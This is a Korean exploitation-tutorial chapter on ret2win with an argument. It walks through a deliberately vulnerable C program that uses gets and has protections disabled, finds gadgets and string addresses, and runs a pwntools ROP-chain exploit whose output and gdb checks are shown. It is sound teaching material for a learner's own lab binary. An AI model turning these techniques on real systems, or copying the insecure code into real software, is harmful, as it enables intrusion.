Step 204. ret2win: 원하는 함수 호출 — 인자까지 쥐여주는 RET 덮어쓰기

Step 204. ret2win: 원하는 함수 호출 — 인자까지 쥐여주는 RET 덮어쓰기

Level 3 — Pwn 트랙 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 186~188을 마쳤다. RET 덮어쓰기를 손으로 성공시켜 봤고, pwntools의 p64/process/recvuntil을 쓸 수 있다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

  • 준비물: WSL 우분투 터미널, gcc, gdb, Step 188에서 만든 pwntools venv. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, pwntools 4.15.0입니다.
  • 주의: 오늘의 기법은 CTF pwn의 기본 문제 유형 "ret2win" 그 자체입니다. 대상은 여러분이 직접 컴파일한 실험용 바이너리 하나뿐입니다.

Step 186에서 우리는 RET를 덮어 아무도 부르지 않는 함수를 실행했습니다. 그런데 실전의 목표 함수는 대개 인자를 요구합니다. 함수를 부른다는 것은 주소로 점프하는 것만이 아니라, 약속된 레지스터에 인자를 채워 넣는 것까지입니다. 오늘은 그 한 걸음 — 스택에 조각을 쌓아 레지스터를 세팅하고 함수를 부르는 기법, ROP의 태동을 경험합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • System V 호출 규약에서 첫 번째 인자가 rdi로 전달됨을 설명한다
  • 가젯(gadget)pop rdi; ret 같은 명령 조각 — 의 동작을 설명한다
  • ROPgadget으로 바이너리에서 필요한 가젯을 찾는다
  • strings -t x로 바이너리 안 문자열의 주소를 찾는다
  • 패딩 + 가젯 + 인자 + 함수 형태의 체인을 만들어 인자 있는 함수를 호출한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C 언어 + 파이썬(pwntools), WSL 우분투 bash, gcc 13.3.0, gdb 15.1 (x86-64)
오늘의 명령어·도구 ROPgadget --binary ./대상(가젯 추출), strings -t x 대상(문자열 주소), nm(함수 주소), gdb의 x/s $rdi(인자 확인)
필요한 개념 가젯, System V 호출 규약(rdi), ROP 체인의 씨앗, 스택 정렬

2-1. 인자는 레지스터로 간다 — System V 호출 규약

x86-64 리눅스에서 함수를 부를 때 인자는 스택이 아니라 레지스터로 전달됩니다. 이 약속을 System V 호출 규약(calling convention) 이라 합니다. 첫 번째 인자는 rdi, 두 번째는 rsi, 그다음 rdx, rcx, r8, r9 순입니다.

그래서 win("open_sesame")을 호출한다는 것은 두 가지 일입니다. ① rdi에 문자열 "open_sesame"의 주소를 넣는다. ② win의 주소로 점프한다. Step 186은 ②만 했고, 오늘은 ①이 추가됩니다.

2-2. 가젯 — ret로 끝나는 명령 조각

문제는, 우리가 조종하는 것은 스택의 내용뿐이라는 점입니다. 레지스터를 직접 쓸 손이 없습니다. 그래서 프로그램 안에 이미 있는 기계어 조각을 빌립니다.

pop rdi    ← 스택 꼭대기 값을 rdi로 꺼낸다 (스택은 우리 것)
ret        ← 스택 꼭대기 주소로 점프한다 (역시 우리 것)

이 두 줄이 연속으로 있는 주소를 찾아 RET 자리에 쓰면, vuln이 ret하며 이 조각으로 오고, pop rdi가 스택의 다음 칸(우리가 준비한 값)을 rdi에 넣고, ret가 그다음 칸(우리가 준비한 주소)으로 갑니다. 이런 조각을 가젯(gadget) 이라 부릅니다. 스택에 주소와 값을 번갈아 쌓아 조각들을 이어 붙이는 기법이 ROP(Return-Oriented Programming) 입니다 — 오늘은 그 두 조각짜리 씨앗입니다.

2-3. 가젯은 어디서 오는가 — 그리고 없을 수도 있다

가젯은 공격자가 심는 것이 아닙니다. 프로그램의 코드 영역에 우연히 존재하는 바이트 열입니다. 예전 바이너리에는 __libc_csu_init이라는 초기화 함수가 풍성한 가젯 창고 역할을 했지만, 최신 glibc(2.34 이상)에서는 그 함수가 사라져 작은 바이너리에는 pop rdi; ret이 하나도 없는 경우가 흔해졌습니다 (집필 실측에서 실제로 그랬습니다 — 73개 가젯 중 pop rdi가 없었습니다).

실전에서는 더 큰 코드 — 예를 들어 링크된 libc — 에서 찾습니다 (Step 207에서 합니다). 오늘의 실습 바이너리는 CTF 문제들이 흔히 하듯 가젯을 심어 두는 함수를 넣어 배움의 발판으로 삼습니다. 속임수가 아니라, 문제 설계의 관례입니다.

2-4. 스택 정렬 — ret 가젯 하나의 미스터리

64비트 환경에는 숨은 규칙이 하나 더 있습니다. call 직전에 rsp가 16바이트로 정렬돼 있어야 한다는 약속입니다. 이 약속이 깨진 채 libc 함수에 들어가면, 내부의 movaps 명령(16바이트 정렬을 요구하는 SSE 메모리 복사)에서 세그폴트가 납니다. 우리의 수제 체인은 이 약속을 자주 어기므로, 가운데에 아무 일도 안 하는 ret 가젯 하나를 끼워 정렬을 맞추는 기술이 표준입니다. 오늘은 존재만 알고, 이 크래시를 실제로 재현하는 것은 Step 206에서 합니다.


3. 따라 하기

3-1. 표적 제작 — 인자를 검사하는 win

입력 (ret2win.c)

#include <stdio.h>
#include <string.h>

/* 실습 문제처럼 가젯을 심어 두는 함수 — 아무도 부르지 않는다 */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdi\n\t"
        "ret\n\t"
        "pop %rsi\n\t"
        "ret\n"
    );
}

void win(const char *cmd) {
    if (strcmp(cmd, "open_sesame") == 0) {
        printf("FLAG{ret2win_with_argument}\n");
    } else {
        printf("win은 불렸지만 인자가 틀렸습니다: %s\n", cmd);
    }
    fflush(stdout);
}

void vuln(void) {
    char buf[32];
    printf("입력: ");
    fflush(stdout);
    gets(buf);
    printf("받은 값: %s\n", buf);
    fflush(stdout);
}

int main(void) {
    vuln();
    printf("정상 종료\n");
    return 0;
}

읽는 법: win은 인자 cmd가 "open_sesame"과 같아야만 플래그를 줍니다. 단순히 win에 도착하는 것으로는 부족하고, rdi를 우리가 원하는 문자열 주소로 세팅해야 합니다. gadgets 함수는 2-3에서 말한 심어 둔 가젯 창고입니다.

컴파일

mkdir -p ~/lab204_208 && cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -z execstack -no-pie ret2win.c -o ret2win
ret2win.c: In function ‘vuln’:
ret2win.c:27:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
/usr/bin/ld: /root/lab204_208/ret2win.c:27:(.text+0xb3): warning: the `gets' function is dangerous and should not be used.

(2026-09-09 실측. 경고 두 개 모두 예정된 것입니다 — 일부러 위험한 프로그램을 만드는 중입니다. 최신 gcc는 gets의 선언조차 헤더에서 지워서 첫 번째 경고가 추가됐습니다.)

3-2. 재료 수집 — 주소 세 개

공격에 필요한 재료는 세 개입니다. 함수 주소(nm), 가젯 주소(ROPgadget), 문자열 주소(strings).

nm ret2win | grep -E " win$| vuln$| gadgets$"
00000000004011b6 T gadgets
000000000040122d T vuln
00000000004011c5 T win
/root/lab188/venv/bin/ROPgadget --binary ./ret2win | grep -E "pop rdi ; ret$| : ret$"
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
strings -t x ret2win | grep open_sesame
   2008 open_sesame

(2026-09-09 실측. ROPgadget은 Step 188의 venv에 설치해 두었습니다. 없으면 ./venv/bin/pip install ROPGadget로 설치하세요.)

출력 읽는 법: 세 재료가 모였습니다. win = 0x4011c5, pop rdi ; ret = 0x4011be, "open_sesame" = 0x402008 (strings가 준 0x2008은 파일 안 위치이고, 이 바이너리의 .rodata는 0x402000에 싣리므로 더하면 됩니다). -no-pie라 이 주소들은 실행마다 변하지 않습니다.

3-3. 패딩 측정 — disas로 확인

gdb -q -batch -ex "disas vuln" ./ret2win
   0x000000000040122d <+0>:	endbr64
   0x0000000000401231 <+4>:	push   %rbp
   0x0000000000401232 <+5>:	mov    %rsp,%rbp
   0x0000000000401235 <+8>:	sub    $0x20,%rsp
   ...
   0x000000000040125c <+47>:	lea    -0x20(%rbp),%rax

(2026-09-09 실측.)

출력 읽는 법: buf는 rbp – 0x20. RET 칸은 rbp + 8이니 패딩은 0x20 + 8 = 40바이트입니다.

체인 설계 완성: [A × 40][pop rdi; ret]["open_sesame" 주소][win 주소]. vuln이 ret하면 → pop rdi가 0x402008을 rdi에 넣고 → 다음 ret가 win으로 갑니다. rdi = "open_sesame"인 채로 win에 진입하는 것입니다.

3-4. 실패 먼저 — 인자 없이 win만 호출하면

Step 186 방식 그대로, 가젯 없이 win 주소만 덮으면 어떻게 되는지 먼저 봅니다.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xc5\x11\x40\x00\x00\x00\x00\x00" + b"\n")' | ./ret2win
입력: 받은 값: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
win은 불렸지만 인자가 틀렸습니다:
Segmentation fault (core dumped)

(2026-09-09 실측.)

출력 읽는 법: win에는 도착했습니다. 하지만 rdi는 우리가 세팅한 적이 없는 쓰레기 값이라 strcmp가 "틀렸습니다" 판정을 냈습니다. 도착과 성공은 다릅니다. 인자를 세팅하는 가젯이 필요한 이유가 이 한 줄입니다.

3-5. ★ 공격 실행 — 가젯으로 인자를 쥐여준다

입력 (exploit204.py)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

e = ELF('/root/lab204_208/ret2win')
win = e.symbols['win']
pop_rdi = 0x4011be          # ROPgadget으로 찾은 pop rdi ; ret
open_sesame = 0x402008      # strings -t x 로 찾은 문자열 주소

p = process('/root/lab204_208/ret2win')
p.recvuntil('입력: '.encode())
payload = b'A' * 40 + p64(pop_rdi) + p64(open_sesame) + p64(win)
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='replace'))

실행

/root/lab188/venv/bin/python3 exploit204.py
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  be 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  08 20 40 00  00 00 00 00  c5 11 40 00  00 00 00 00  │· @·│····│··@·│····│
    00000040  0a                                                  │·│
[*] Process '/root/lab204_208/ret2win' stopped with exit code -11 (SIGSEGV) (pid 755)
받은 값: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
FLAG{ret2win_with_argument}

(2026-09-09 실측. 뒤섞인 바이트의 깨진 글자 표시는 환경에 따라 다를 수 있습니다.)

성공입니다. Sent 덤프를 읽어 봅시다. A 마흔 개 뒤에 세 개의 8바이트가 차례로 있습니다.

  • be 11 40 00... = 0x4011be — pop rdi ; ret 가젯. vuln의 RET를 이것으로 덮었습니다.
  • 08 20 40 00... = 0x402008 — 가젯의 pop rdi가 꺼내 갈 값. "open_sesame"의 주소입니다.
  • c5 11 40 00... = 0x4011c5 — 가젯의 ret가 점프할 곳. win입니다.

마지막의 SIGSEGV는 Step 186에서 배운 "예정된 사망"입니다. win이 끝나고 돌아갈 곳을 우리가 준비하지 않았을 뿐, 플래그는 이미 나왔습니다.

3-6. gdb로 목격 — rdi에 인자가 들어있는가

믿기 어렵다면 win의 입구에 멈춤을 걸고 rdi를 직접 봅니다.

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xbe\x11\x40\x00\x00\x00\x00\x00" + b"\x08\x20\x40\x00\x00\x00\x00\x00" + b"\xc5\x11\x40\x00\x00\x00\x00\x00" + b"\n")' > payload204.txt
gdb -q ./ret2win
(gdb) b win
Breakpoint 1 at 0x4011d5: file ret2win.c, line 15.
(gdb) r < payload204.txt
Breakpoint 1, win (cmd=0x402008 "open_sesame") at ret2win.c:15
15	    if (strcmp(cmd, "open_sesame") == 0) {
(gdb) bt
#0  win (cmd=0x402008 "open_sesame") at ret2win.c:15
#1  0x00007fffffffe600 in ?? ()
(gdb) info registers rdi
rdi            0x402008            4202504

(2026-09-09 실측.)

출력 읽는 법: gdb가 친절하게도 win (cmd=0x402008 "open_sesame")라고 해석까지 보여 줍니다. 정상 호출 경로가 없는데(#1이 ??) 첫 번째 인자 rdi에 정확히 우리가 준비한 주소가 들어 있습니다. 스택에 값을 쌓았을 뿐인데 레지스터가 세팅됐습니다. 이것이 가젯의 일입니다.


4. 미션과 연습문제

미션 — 두 인자짜리 함수를 불러라

ret2win.c를 변형해 스스로 설계한 표적을 공격하세요.

  1. void win2(const char *a, const char *b) 함수를 추가한다 — 두 인자가 각각 여러분이 정한 두 문자열(예: "stage1", "stage2")과 모두 같을 때만 플래그를 출력하게 하고, 어디에서도 호출하지 않는다
  2. 컴파일하고 nm·ROPgadget·strings로 재료 네 개(win2, pop rdi, pop rsi, 문자열 두 개의 주소)를 수집한다
  3. pop rsi; ret 가젯까지 이어 붙인 5층 체인(패딩 + pop rdi + 문자열1 + pop rsi + 문자열2 + win2)을 설계·실행해 플래그를 얻는다
  4. gdb에서 win2 입구의 rdi와 rsi를 각각 확인한 기록을 남긴다
  5. 리포트에 답한다: "만약 세 번째 인자가 필요하다면 어떤 가젯을 더 찾아야 하는가?"

연습문제

문제 1. pop rdi; ret 가젯이 실행될 때 스택 꼭대기 두 칸에는 각각 무엇이 있어야 하나요?

문제 2. 3-4에서 win에 도착했는데 "인자가 틀렸습니다"가 나왔습니다. rdi에는 무엇이 들어 있었고, 왜 그런가요?

문제 3. strings -t x가 준 0x2008을 왜 그대로 쓰지 않고 0x402008로 바꿔 썼나요?

문제 4. 최신 작은 바이너리에서 pop rdi; ret 가젯을 찾지 못하는 일이 왜 생기며, 실전에서는 어디서 찾나요?


5. 모범 답안과 완료 기준

미션 모범 답안

리포트의 예 (2026-09-09, Ubuntu 24.04, gcc 13.3.0 기준 — 주소는 환경에 따라 달라집니다):

[설계] win2(a, b) 추가 — strcmp 두 번으로 두 인자 모두 검사
[재료] nm → win2 = 0x4011xx
      ROPgadget → pop rdi ; ret = 0x4011be, pop rsi ; ret = 0x4011c0
      strings -t x → "stage1" = 0x402xxx, "stage2" = 0x402xxx
[체인] A×40 + p64(pop_rdi) + p64(문자열1) + p64(pop_rsi) + p64(문자열2) + p64(win2)
[gdb 검증] b win2 → win2 (a=0x402xxx "stage1", b=0x402xxx "stage2")
[답변] 세 번째 인자는 rdx — "pop rdx ; ret" 가젯을 추가로 찾는다

검증하는 법: ① Sent 덤프에서 가젯-값-가젯-값-함수의 다섯 층이 순서대로 보이는가. ② gdb 출력에 두 인자가 모두 의도한 문자열로 찍혔는가. ③ 재료 주소가 책의 값이 아니라 자기 바이너리에서 직접 읽은 값인가.

연습문제 해답

문제 1 해답. 꼭대기 칸에는 rdi에 넣을 값(오늘은 문자열 주소 0x402008), 그 다음 칸에는 이어서 점프할 주소(오늘은 win)가 있어야 합니다. pop rdi가 첫 칸을 꺼내고 스택 포인터가 한 칸 내려가면, ret는 두 번째 칸을 꺼내 점프합니다. 순서가 뒤집히면 rdi에 win 주소가 들어가는 식으로 전부 어긋납니다.

문제 2 해답. 우리가 rdi를 세팅한 적이 없으므로, vuln이 끝난 시점에 우연히 남아 있던 쓰레기 값(실측에서는 사실상 빈 문자열을 가리키는 상태)이 들어 있었습니다. strcmp("쓰레기", "open_sesame")는 당연히 다르다고 판정합니다. 함수 호출은 점프 + 인자 세팅 둘 다여야 합니다.

문제 3 해답. strings -t x파일 안에서의 오프셋을 줄 뿐, 메모리에 실린 뒤의 가상 주소가 아니기 때문입니다. 이 바이너리는 -no-pie로 0x400000부터 싣고 .rodata 섹션이 0x402000에 매핑되므로, 문자열의 메모리 주소는 0x402000 + 0x8 = 0x402008입니다. PIE 바이너리라면 이 계산 자체가 실행마다 달라집니다 (Step 187).

문제 4 해답. 예전 바이너리의 가젯 창고였던 __libc_csu_init이 최신 glibc에서 제거됐고, 작은 프로그램의 코드 영역은 짧아서 우연한 조각이 적기 때문입니다 (집필 실측에서 73개 가젯 중 pop rdi 0개였습니다). 실전에서는 크기가 훨씬 큰 libc 같은 링크된 라이브러리에서 찾습니다. 실측에서 libc는 10만 개가 넘는 가젯을 품고 있었습니다 — Step 205와 207의 주제입니다.

완료 기준 체크리스트

  • [ ] System V 규약에서 첫 인자가 rdi임을 설명할 수 있다
  • [ ] pop rdi; ret 가젯의 두 줄이 스택과 어떻게 상호작용하는지 설명할 수 있다
  • [ ] ROPgadget으로 가젯을, strings로 문자열 주소를 찾았다
  • [ ] 패딩 + 가젯 + 인자 + 함수 체인으로 인자 있는 win을 호출했다
  • [ ] "인자 없이 호출"의 실패 메시지와 원인을 설명할 수 있다
  • [ ] gdb에서 win 입구의 rdi가 의도한 주소임을 확인했다
  • [ ] 미션: 두 인자 체인(5층)을 완성하고 검증 기록을 남겼다

6. 흔한 실수와 해결

벽 1. ROPgadget: command not found

증상: ROPgadget: command not found
원인: Step 188의 venv에만 설치돼 있고 PATH에 없습니다.
해결: 전체 경로로 부르세요 — /root/lab188/venv/bin/ROPgadget --binary ./ret2win. 없으면 ./venv/bin/pip install ROPGadget로 설치합니다.

벽 2. pop rdi 가젯이 검색되지 않는다

증상: ROPgadget 결과가 수십 줄인데 pop rdi ; ret가 없습니다 (집필 실측에서 실제로 겪었습니다 — gadgets 함수를 심기 전 바이너리에서 73개 가젯 중 0개였습니다).
원인: 최신 glibc 환경의 작은 바이너리에는 가젯이 적습니다.
해결: 실습용이라면 이 챕터처럼 gadgets 함수를 심으세요. 실전 바이너리라면 libc 등 더 큰 모듈을 대상으로 ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6를 검색합니다.

벽 3. win에는 가는데 "인자가 틀렸습니다"가 뜬다

증상: win은 불렀지만 인자가 틀렸습니다: 출력 후 세그폴트.
원인: 가젯을 빼먹고 win 주소만 덮었거나, 체인에서 가젯과 값의 순서가 뒤집혔습니다. [pop rdi][값][win] 순서여야 합니다.
해결: Sent 덤프(debug 모드)에서 8바이트 단위 순서를 확인하고, gdb에서 b wininfo registers rdi로 실제 rdi를 보세요.

벽 4. 책의 주소를 그대로 썼는데 실패한다

증상: 0x4011c5, 0x4011be를 그대로 썼는데 세그폴트.
원인: 소스가 한 글자라도 다르면 모든 주소가 밀립니다. 특히 gadgets 함수의 유무와 문자열 길이가 주소를 움직입니다.
해결: Step 186의 철칙 그대로 — 주소는 외우는 것이 아니라 매번 내 바이너리에서 nm/ROPgadget/strings로 읽습니다.

벽 5. 컴파일할 때 implicit declaration of function ‘gets’ 경고

증상:

ret2win.c:27:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’?

원인: 최신 glibc는 gets의 선언을 헤더에서 제거했습니다. 경고일 뿐 컴파일은 됩니다.
해결: 실습 목적상 무시해도 됩니다. 다만 이 경고의 존재 자체가 "gets는 시대가 퇴출시킨 함수"라는 방어의 흔적임을 기억하세요.


7. 정리

오늘의 개념

개념 한 줄 설명
ret2win 바이너리 안의 숨은 함수를 RET 덮어쓰기로 부르는 공격의 정식형
System V 호출 규약 인자는 rdi, rsi, rdx… 순의 레지스터로 전달된다는 약속
가젯(gadget) ret로 끝나는, 프로그램 안에 이미 존재하는 명령 조각
ROP 가젯 주소와 값을 스택에 번갈아 쌓아 코드를 이어 붙이는 기법
스택 정렬 call 시점 rsp의 16바이트 정렬 약속 — 깨지면 movaps가 죽는다

오늘의 명령어

명령 하는 일
ROPgadget --binary ./대상 바이너리에서 가젯 전부 추출
ROPgadget ... | grep "pop rdi ; ret$" 필요한 가젯만 필터링
strings -t x 대상 바이너리 안 문자열의 파일 오프셋
nm 대상 | grep 이름 함수 심볼 주소
x/s $rdi (gdb) 인자가 가리키는 문자열 확인

명령어보다 중요한 감각

오늘의 체인 세 층 — [가젯][값][함수] — 은 ROP라는 거대한 기법의 최소 단위입니다. 스택은 원래 "돌아갈 주소들의 기록"이었는데, 우리는 그 기록을 위조해 명령 목록으로 바꿨습니다. ret 하나가 스택에서 다음 일감을 꺼내는 도미노의 톱니가 된 것입니다.

그리고 하나 더. 오늘 공격이 성공한 근본 이유는 NX(스택 실행 금지)를 껐기 때문이 아닙니다 — 우리는 새 코드를 심은 적이 없고, 있는 코드만 이어 썼습니다. 이것이 NX 시대에 ROP가 답이 된 이유입니다. Step 187에서 배운 방어막들이 하나씩 켜져도, 이 기법은 그 틈을 정확히 비집고 들어갑니다.


전부 체크되면 Step 204 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.